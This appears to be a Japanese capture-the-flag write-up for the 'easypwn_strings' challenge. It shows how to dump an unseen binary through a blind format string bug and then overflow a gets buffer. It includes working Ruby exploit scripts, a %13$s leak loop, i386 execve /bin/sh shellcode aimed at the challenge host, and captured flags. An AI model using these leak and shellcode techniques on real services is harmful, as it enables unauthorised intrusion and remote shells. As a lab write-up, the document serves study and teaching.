easypwn_strings
特徴
バイナリが渡されない
blind FSA
33C3 CTF: ESPR
https://www.youtube.com/watch?v=XuzuFUGuQv0
getsで文字列を受け取りprintfする←FSBで任意のアドレスの内容を表示できる
getsは\nでも止まるのでFSBでバイナリを取り出すときには\n(=0x0a)を与えないようにする
解法
ELFバイナリをダンプ
時間がかかるのでエントリポイントを見てそこから始める
コマンドの比較ルーチンがあり、1, 2, 3, X, T, Sが入力されたら何かをする
code:bash
$ objdump -M intel -D dump.bin -b binary -m i386 --adjust-vma=0x8048620
...snip...
8048c59: 83 7d f4 31 cmp DWORD PTR ebp-0xc,0x31 8048c5d: 74 58 je 0x8048cb7
8048c5f: 83 7d f4 32 cmp DWORD PTR ebp-0xc,0x32 8048c63: 74 52 je 0x8048cb7
8048c65: 83 7d f4 33 cmp DWORD PTR ebp-0xc,0x33 8048c69: 74 4c je 0x8048cb7
8048c6b: 83 7d f4 58 cmp DWORD PTR ebp-0xc,0x58 8048c6f: 74 46 je 0x8048cb7
8048c71: 83 7d f4 54 cmp DWORD PTR ebp-0xc,0x54 8048c75: 74 40 je 0x8048cb7
8048c77: 83 7d f4 53 cmp DWORD PTR ebp-0xc,0x53 8048c7b: 74 3a je 0x8048cb7
Tを打つとpwnするバイナリとそのlibcが渡される, SだとSegmentation Faultする
Sを詳しく見てみる(0x8048d89以降)、It's strangeを出力した後call 0x80493e0してる
→XでgetsしているのでBOFしてshellcodeを注入, その後Sで実行
code:dump.rb
require 'pwn'
HOST = 'pwn-03.v7frkwrfyhsjtbpfcppnu.ctfz.one'
PORT = 1234
def leak addr
return "" if addr.pack("L").include? "\n" s = Sock.new HOST, PORT
s.recvuntil("LastSymbols")
s.sendline("3")
s.recvuntil("string:")
# s.sendline("|%13$s|HOGE".ljust(20,"A") + addr.pack("L")) s.sendline("%13$sHOGE".ljust(20,"A") + addr.pack("L")) s.recvuntil("number:")
s.sendline("0")
s.recv(1024)
s.recv(1024)
s.recvuntil("Result:")
s.recvregex(/(.*)HOGE/m)2..-5 end
def dump_bin from, filename
addr = from
file = File.open filename, "wb"
loop do
print addr.hex
begin
# we cannot get 4 bytes at once since the leaked data can be like "\x00\x41\x41\x41" and in that case "(null)" will be printed
# but we can make the leak faster by skipping some bytes if there were no null bytes
l = leak(addr)
p l
if l == "(null)" || l == "" || !l
file.write "\x00"
addr += 1
else
file.write l
addr += l.bytesize
end
file.flush
rescue EOFError => err
puts err
break
end
end
end
context.arch = 'i386'
# check entry point => 0x8048620
# p dump_bin 0x8048000, "dump.bin"
dump_bin 0x8048620, "dump.bin" # いい感じに出し終わったら^Cで止める()
code:exploit.rb
# encoding: ASCII-8BIT
require 'pwn'
HOST = 'pwn-03.v7frkwrfyhsjtbpfcppnu.ctfz.one'
PORT = 1234
context.arch = 'i386'
buf_addr = 0x80492e0
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
s = Sock.new HOST, PORT
s.recvuntil("LastSymbols")
s.sendline("X")
s.recvuntil("or n)")
# Shellcode will be located at 0x80492e0+1 because of "y"
payload = ("y" + shellcode).ljust(0x100, "\x90") + buf_addr+1.pack("L") # these two reveal the fake flags, sigh
# ctfzone{1t_1s_$uP6r_F4k6_4H4H}, ctfzone{$uP6r_F4k6_4H4H4H_t00}
s.sendline(payload)
s.interact()
ctfzone{e4$Y_pVVn_$Tr1№6_Fu№C}